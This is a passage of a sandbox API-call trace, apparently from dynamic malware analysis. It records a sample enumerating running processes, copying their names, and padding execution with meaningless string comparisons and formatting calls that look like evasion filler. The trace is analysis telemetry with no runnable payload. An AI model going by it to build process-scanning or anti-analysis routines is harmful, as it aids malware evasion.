szExeFile="svchost.exe")) returned 1 [0069.256] GetLastError () returned 0x0 [0069.256] GetCurrentProcessId () returned 0x81c [0069.256] GetCurrentProcessId () returned 0x81c [0069.256] lstrlenA (lpString="just string") returned 11 [0069.256] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.256] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0069.256] GetLastError () returned 0x0 [0069.256] GetCurrentProcessId () returned 0x81c [0069.256] GetCurrentProcessId () returned 0x81c [0069.256] lstrcpyW (in: lpString1=0x33dfea4, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0069.256] GetCurrentProcessId () returned 0x81c [0069.256] lstrlenA (lpString="just string") returned 11 [0069.256] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.256] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.257] GetLastError () returned 0x0 [0069.257] GetCurrentProcessId () returned 0x81c [0069.257] GetLastError () returned 0x0 [0069.257] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.257] SetLastError (dwErrCode=0x0) [0069.257] GetCurrentProcess () returned 0xffffffff [0069.257] GetLastError () returned 0x0 [0069.257] wsprintfA (in: param_1=0x3e0f3e7, param_2="%X%P" | out: param_1="6E6864P") returned 7 [0069.257] SetLastError (dwErrCode=0x0) [0069.257] GetCurrentProcessId () returned 0x81c [0069.257] GetCurrentProcess () returned 0xffffffff [0069.257] GetLastError () returned 0x0 [0069.257] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6865P") returned 7 [0069.257] SetLastError (dwErrCode=0x0) [0069.257] GetCurrentProcessId () returned 0x81c [0069.257] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.258] GetLastError () returned 0x0 [0069.258] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6866P") returned 7 [0069.258] SetLastError (dwErrCode=0x0) [0069.258] GetCurrentProcessId () returned 0x81c [0069.258] GetCurrentProcessId () returned 0x81c [0069.258] GetCurrentProcessId () returned 0x81c [0069.258] GetCurrentProcessId () returned 0x81c [0069.258] GetCurrentProcessId () returned 0x81c [0069.258] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0069.259] lstrlenA (lpString="just string") returned 11 [0069.259] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.259] GetLastError () returned 0x0 [0069.259] GetCurrentProcessId () returned 0x81c [0069.259] lstrcpyW (in: lpString1=0x33e00cc, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0069.259] GetLastError () returned 0x0 [0069.259] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.259] SetLastError (dwErrCode=0x0) [0069.259] GetCurrentProcess () returned 0xffffffff [0069.259] GetLastError () returned 0x0 [0069.259] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6896P") returned 7 [0069.259] SetLastError (dwErrCode=0x0) [0069.259] GetCurrentProcessId () returned 0x81c [0069.260] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.260] GetCurrentProcess () returned 0xffffffff [0069.260] GetLastError () returned 0x0 [0069.260] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6897P") returned 7 [0069.260] SetLastError (dwErrCode=0x0) [0069.260] GetCurrentProcessId () returned 0x81c [0069.260] GetLastError () returned 0x0 [0069.260] wsprintfA (in: param_1=0x3e0f3f3, param_2="%X%P" | out: param_1="6E6898P") returned 7 [0069.260] SetLastError (dwErrCode=0x0) [0069.260] GetCurrentProcessId () returned 0x81c [0069.260] GetCurrentProcessId () returned 0x81c [0069.260] GetCurrentProcessId () returned 0x81c [0069.260] GetCurrentProcessId () returned 0x81c [0069.260] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0069.261] GetCurrentProcessId () returned 0x81c [0069.261] lstrlenA (lpString="just string") returned 11 [0069.261] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.261] GetCurrentProcessId () returned 0x81c [0069.261] GetLastError () returned 0x0 [0069.261] lstrcpyW (in: lpString1=0x33e02f4, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0069.261] GetLastError () returned 0x0 [0069.261] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E68A2P") returned 7 [0069.261] SetLastError (dwErrCode=0x0) [0069.261] GetCurrentProcessId () returned 0x81c [0069.261] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.262] GetCurrentProcessId () returned 0x81c [0069.262] GetCurrentProcessId () returned 0x81c [0069.262] GetCurrentProcessId () returned 0x81c [0069.262] GetCurrentProcessId () returned 0x81c [0069.262] lstrcpyW (in: lpString1=0x33e051c, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0069.262] lstrlenA (lpString="just string") returned 11 [0069.262] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.262] GetLastError () returned 0x0 [0069.262] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x314, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0069.262] GetLastError () returned 0x0 [0069.262] lstrcmpA (lpString1="8", lpString2="luck") returned -1 [0069.262] SetLastError (dwErrCode=0x0) [0069.262] GetCurrentProcess () returned 0xffffffff [0069.262] GetLastError () returned 0x0 [0069.262] wsprintfA (in: param_1=0x3e0f3f3, param_2="%X%P" | out: param_1="6E68DCP") returned 7 [0069.262] SetLastError (dwErrCode=0x0) [0069.262] GetCurrentProcessId () returned 0x81c [0069.262] GetCurrentProcessId () returned 0x81c [0069.262] GetCurrentProcess () returned 0xffffffff [0069.262] GetLastError () returned 0x0 [0069.262] wsprintfA (in: param_1=0x3e0f3e3, param_2="%X%P" | out: param_1="6E68DDP") returned 7 [0069.262] SetLastError (dwErrCode=0x0) [0069.262] GetCurrentProcessId () returned 0x81c [0069.263] lstrcpyW (in: lpString1=0x33e0744, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0069.263] GetLastError () returned 0x0 [0069.263] wsprintfA (in: param_1=0x3e0f3e7, param_2="%X%P" | out: param_1="6E68DEP") returned 7 [0069.263] SetLastError (dwErrCode=0x0) [0069.263] GetCurrentProcessId () returned 0x81c [0069.263] GetCurrentProcessId () returned 0x81c [0069.263] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x544, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0069.263] GetCurrentProcessId () returned 0x81c [0069.263] GetCurrentProcessId () returned 0x81c [0069.263] GetCurrentProcessId () returned 0x81c [0069.263] lstrlenA (lpString="just string") returned 11 [0069.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.263] lstrcpyW (in: lpString1=0x33e096c, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0069.263] GetLastError () returned 0x0 [0069.263] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0069.264] GetLastError () returned 0x0 [0069.264] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E691AP") returned 7 [0069.264] SetLastError (dwErrCode=0x0) [0069.264] GetCurrentProcessId () returned 0x81c [0069.264] GetCurrentProcessId () returned 0x81c [0069.264] GetCurrentProcessId () returned 0x81c [0069.264] GetCurrentProcessId () returned 0x81c [0069.264] lstrcpyW (in: lpString1=0x33e0b94, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0069.264] GetCurrentProcessId () returned 0x81c [0069.264] lstrlenA (lpString="just string") returned 11 [0069.264] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.264] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0069.265] GetLastError () returned 0x0 [0069.265] GetCurrentProcessId () returned 0x81c [0069.265] GetCurrentProcess () returned 0xffffffff [0069.265] GetLastError () returned 0x0 [0069.265] wsprintfA (in: param_1=0x3e0f3e7, param_2="%X%P" | out: param_1="6E695FP") returned 7 [0069.265] SetLastError (dwErrCode=0x0) [0069.265] GetCurrentProcessId () returned 0x81c [0069.265] GetLastError () returned 0x0 [0069.265] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6960P") returned 7 [0069.265] SetLastError (dwErrCode=0x0) [0069.265] GetCurrentProcessId () returned 0x81c [0069.265] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0069.265] GetCurrentProcessId () returned 0x81c [0069.265] GetCurrentProcessId () returned 0x81c [0069.265] GetCurrentProcessId () returned 0x81c [0069.265] GetCurrentProcessId () returned 0x81c [0069.265] lstrcpyW (in: lpString1=0x33e0dbc, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0069.265] lstrlenA (lpString="just string") returned 11 [0069.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.265] GetLastError () returned 0x0 [0069.265] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x258, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.266] GetLastError () returned 0x0 [0069.266] GetCurrentProcessId () returned 0x81c [0069.266] lstrcpyW (in: lpString1=0x33e0fe4, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0069.266] GetLastError () returned 0x0 [0069.266] lstrcmpA (lpString1="8", lpString2="luck") returned -1 [0069.266] SetLastError (dwErrCode=0x0) [0069.266] GetCurrentProcess () returned 0xffffffff [0069.266] GetLastError () returned 0x0 [0069.266] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E69AEP") returned 7 [0069.266] SetLastError (dwErrCode=0x0) [0069.266] GetCurrentProcessId () returned 0x81c [0069.266] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.267] GetCurrentProcess () returned 0xffffffff [0069.267] GetLastError () returned 0x0 [0069.267] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E69AFP") returned 7 [0069.267] SetLastError (dwErrCode=0x0) [0069.267] GetCurrentProcessId () returned 0x81c [0069.267] GetLastError () returned 0x0 [0069.267] wsprintfA (in: param_1=0x3e0f3f3, param_2="%X%P" | out: param_1="6E69B0P") returned 7 [0069.267] SetLastError (dwErrCode=0x0) [0069.267] GetCurrentProcessId () returned 0x81c [0069.267] GetCurrentProcessId () returned 0x81c [0069.267] GetCurrentProcessId () returned 0x81c [0069.267] GetCurrentProcessId () returned 0x81c [0069.267] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="turner_construction_solve_cialis.exe")) returned 1 [0069.268] GetCurrentProcessId () returned 0x81c [0069.268] lstrlenA (lpString="just string") returned 11 [0069.268] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.268] GetCurrentProcessId () returned 0x81c [0069.268] GetLastError () returned 0x0 [0069.268] lstrcpyW (in: lpString1=0x33e120c, lpString2="turner_construction_solve_cialis.exe" | out: lpString1="turner_construction_solve_cialis.exe") returned="turner_construction_solve_cialis.exe" [0069.268] GetLastError () returned 0x0 [0069.268] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="efforts-extreme-quantity-reproductive.exe")) returned 1 [0069.268] GetCurrentProcessId () returned 0x81c [0069.268] GetCurrentProcessId () returned 0x81c [0069.268] lstrlenA (lpString="just string") returned 11 [0069.268] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.268] lstrcpyW (in: lpString1=0x33e1434, lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="efforts-extreme-quantity-reproductive.exe") returned="efforts-extreme-quantity-reproductive.exe" [0069.268] GetLastError () returned 0x0 [0069.268] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="los-talks-ooo-focusing.exe")) returned 1 [0069.269] GetCurrentProcessId () returned 0x81c [0069.269] GetCurrentProcessId () returned 0x81c [0069.269] GetCurrentProcessId () returned 0x81c [0069.269] GetCurrentProcessId () returned 0x81c [0069.269] lstrcpyW (in: lpString1=0x33e165c, lpString2="los-talks-ooo-focusing.exe" | out: lpString1="los-talks-ooo-focusing.exe") returned="los-talks-ooo-focusing.exe" [0069.269] lstrlenA (lpString="just string") returned 11 [0069.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.269] GetLastError () returned 0x0 [0069.269] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="farehave.exe")) returned 1 [0069.270] GetCurrentProcessId () returned 0x81c [0069.270] GetCurrentProcessId () returned 0x81c [0069.270] lstrcpyW (in: lpString1=0x33e1884, lpString2="farehave.exe" | out: lpString1="farehave.exe") returned="farehave.exe" [0069.270] GetCurrentProcessId () returned 0x81c [0069.270] lstrlenA (lpString="just string") returned 11 [0069.270] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.270] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ones_pork_tommy_lb.exe")) returned 1 [0069.270] GetLastError () returned 0x0 [0069.270] GetCurrentProcessId () returned 0x81c [0069.270] GetCurrentProcess () returned 0xffffffff [0069.270] GetLastError () returned 0x0 [0069.270] wsprintfA (in: param_1=0x3e0f3e3, param_2="%X%P" | out: param_1="6E6ABDP") returned 7 [0069.270] SetLastError (dwErrCode=0x0) [0069.270] GetCurrentProcessId () returned 0x81c [0069.270] lstrcpyW (in: lpString1=0x33e1aac, lpString2="ones_pork_tommy_lb.exe" | out: lpString1="ones_pork_tommy_lb.exe") returned="ones_pork_tommy_lb.exe" [0069.270] GetLastError () returned 0x0 [0069.270] wsprintfA (in: param_1=0x3e0f3e7, param_2="%X%P" | out: param_1="6E6ABEP") returned 7 [0069.270] SetLastError (dwErrCode=0x0) [0069.270] GetCurrentProcessId () returned 0x81c [0069.270] GetCurrentProcessId () returned 0x81c [0069.271] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="thumbnailsopen.exe")) returned 1 [0069.271] GetCurrentProcessId () returned 0x81c [0069.271] GetCurrentProcessId () returned 0x81c [0069.271] GetCurrentProcessId () returned 0x81c [0069.271] lstrlenA (lpString="just string") returned 11 [0069.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.271] lstrcpyW (in: lpString1=0x33e1cd4, lpString2="thumbnailsopen.exe" | out: lpString1="thumbnailsopen.exe") returned="thumbnailsopen.exe" [0069.271] GetLastError () returned 0x0 [0069.271] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="characters appointed birthday finally.exe")) returned 1 [0069.272] GetLastError () returned 0x0 [0069.272] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6AD2P") returned 7 [0069.272] SetLastError (dwErrCode=0x0) [0069.272] GetCurrentProcessId () returned 0x81c [0069.272] GetCurrentProcessId () returned 0x81c [0069.272] GetCurrentProcessId () returned 0x81c [0069.272] GetCurrentProcessId () returned 0x81c [0069.272] lstrcpyW (in: lpString1=0x33e1efc, lpString2="characters appointed birthday finally.exe" | out: lpString1="characters appointed birthday finally.exe") returned="characters appointed birthday finally.exe" [0069.272] GetCurrentProcessId () returned 0x81c [0069.272] lstrlenA (lpString="just string") returned 11 [0069.272] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.272] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="ausarrivedrepresentative.exe")) returned 1 [0069.273] GetLastError () returned 0x0 [0069.273] GetCurrentProcessId () returned 0x81c [0069.273] lstrcpyW (in: lpString1=0x33e2124, lpString2="ausarrivedrepresentative.exe" | out: lpString1="ausarrivedrepresentative.exe") returned="ausarrivedrepresentative.exe" [0069.273] GetCurrentProcessId () returned 0x81c [0069.273] GetCurrentProcessId () returned 0x81c [0069.273] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="routing.exe")) returned 1 [0069.273] GetCurrentProcessId () returned 0x81c [0069.273] lstrlenA (lpString="just string") returned 11 [0069.273] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.273] GetCurrentProcessId () returned 0x81c [0069.273] GetLastError () returned 0x0 [0069.273] lstrcpyW (in: lpString1=0x33e234c, lpString2="routing.exe" | out: lpString1="routing.exe") returned="routing.exe" [0069.273] GetLastError () returned 0x0 [0069.273] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6B04P") returned 7 [0069.273] SetLastError (dwErrCode=0x0) [0069.273] GetCurrentProcessId () returned 0x81c [0069.273] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="cliff-filter.exe")) returned 1 [0069.274] GetCurrentProcessId () returned 0x81c [0069.274] GetCurrentProcessId () returned 0x81c [0069.274] GetCurrentProcessId () returned 0x81c [0069.274] GetCurrentProcessId () returned 0x81c [0069.274] lstrcpyW (in: lpString1=0x33e2574, lpString2="cliff-filter.exe" | out: lpString1="cliff-filter.exe") returned="cliff-filter.exe" [0069.274] lstrlenA (lpString="just string") returned 11 [0069.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.274] GetLastError () returned 0x0 [0069.274] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0069.275] GetCurrentProcessId () returned 0x81c [0069.275] GetCurrentProcessId () returned 0x81c [0069.275] GetCurrentProcessId () returned 0x81c [0069.275] lstrcpyW (in: lpString1=0x33e279c, lpString2="canvas.exe" | out: lpString1="canvas.exe") returned="canvas.exe" [0069.275] GetCurrentProcessId () returned 0x81c [0069.275] lstrlenA (lpString="just string") returned 11 [0069.275] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.275] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="cookie_cumulative_bennett_horse.exe")) returned 1 [0069.275] GetLastError () returned 0x0 [0069.275] GetCurrentProcessId () returned 0x81c [0069.275] GetCurrentProcessId () returned 0x81c [0069.275] lstrcpyW (in: lpString1=0x33e29c4, lpString2="cookie_cumulative_bennett_horse.exe" | out: lpString1="cookie_cumulative_bennett_horse.exe") returned="cookie_cumulative_bennett_horse.exe" [0069.275] lstrlenA (lpString="just string") returned 11 [0069.275] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.275] GetLastError () returned 0x0 [0069.275] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="pie.exe")) returned 1 [0069.276] lstrlenA (lpString="just string") returned 11 [0069.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.276] GetCurrentProcessId () returned 0x81c [0069.276] GetLastError () returned 0x0 [0069.276] lstrcpyW (in: lpString1=0x33e2bec, lpString2="pie.exe" | out: lpString1="pie.exe") returned="pie.exe" [0069.276] GetCurrentProcessId () returned 0x81c [0069.276] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="located-purple-team.exe")) returned 1 [0069.277] GetCurrentProcessId () returned 0x81c [0069.277] lstrlenA (lpString="just string") returned 11 [0069.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.277] GetCurrentProcessId () returned 0x81c [0069.277] GetLastError () returned 0x0 [0069.277] lstrcpyW (in: lpString1=0x33e2e14, lpString2="located-purple-team.exe" | out: lpString1="located-purple-team.exe") returned="located-purple-team.exe" [0069.277] GetLastError () returned 0x0 [0069.277] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="pagespresent.exe")) returned 1 [0069.277] GetCurrentProcessId () returned 0x81c [0069.277] GetCurrentProcessId () returned 0x81c [0069.277] lstrlenA (lpString="just string") returned 11 [0069.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.277] lstrcpyW (in: lpString1=0x33e303c, lpString2="pagespresent.exe" | out: lpString1="pagespresent.exe") returned="pagespresent.exe" [0069.277] GetLastError () returned 0x0 [0069.277] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="diamond_hospitals_designs_www.exe")) returned 1 [0069.278] GetLastError () returned 0x0 [0069.278] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.278] SetLastError (dwErrCode=0x0) [0069.278] GetCurrentProcess () returned 0xffffffff [0069.278] GetLastError () returned 0x0 [0069.278] wsprintfA (in: param_1=0x3e0f3f3, param_2="%X%P" | out: param_1="6E6BB6P") returned 7 [0069.278] SetLastError (dwErrCode=0x0) [0069.278] GetCurrentProcessId () returned 0x81c [0069.278] GetCurrentProcessId () returned 0x81c [0069.278] GetCurrentProcess () returned 0xffffffff [0069.278] GetLastError () returned 0x0 [0069.278] wsprintfA (in: param_1=0x3e0f3e3, param_2="%X%P" | out: param_1="6E6BB7P") returned 7 [0069.278] SetLastError (dwErrCode=0x0) [0069.278] GetCurrentProcessId () returned 0x81c [0069.278] lstrcpyW (in: lpString1=0x33e3264, lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="diamond_hospitals_designs_www.exe") returned="diamond_hospitals_designs_www.exe" [0069.278] GetLastError () returned 0x0 [0069.278] wsprintfA (in: param_1=0x3e0f3e7, param_2="%X%P" | out: param_1="6E6BB8P") returned 7 [0069.278] SetLastError (dwErrCode=0x0) [0069.278] GetCurrentProcessId () returned 0x81c [0069.278] GetCurrentProcessId () returned 0x81c [0069.278] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="later_pet_handjobs.exe")) returned 1 [0069.279] GetCurrentProcessId () returned 0x81c [0069.279] GetCurrentProcessId () returned 0x81c [0069.279] GetCurrentProcessId () returned 0x81c [0069.279] lstrlenA (lpString="just string") returned 11 [0069.279] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.279] lstrcpyW (in: lpString1=0x33e348c, 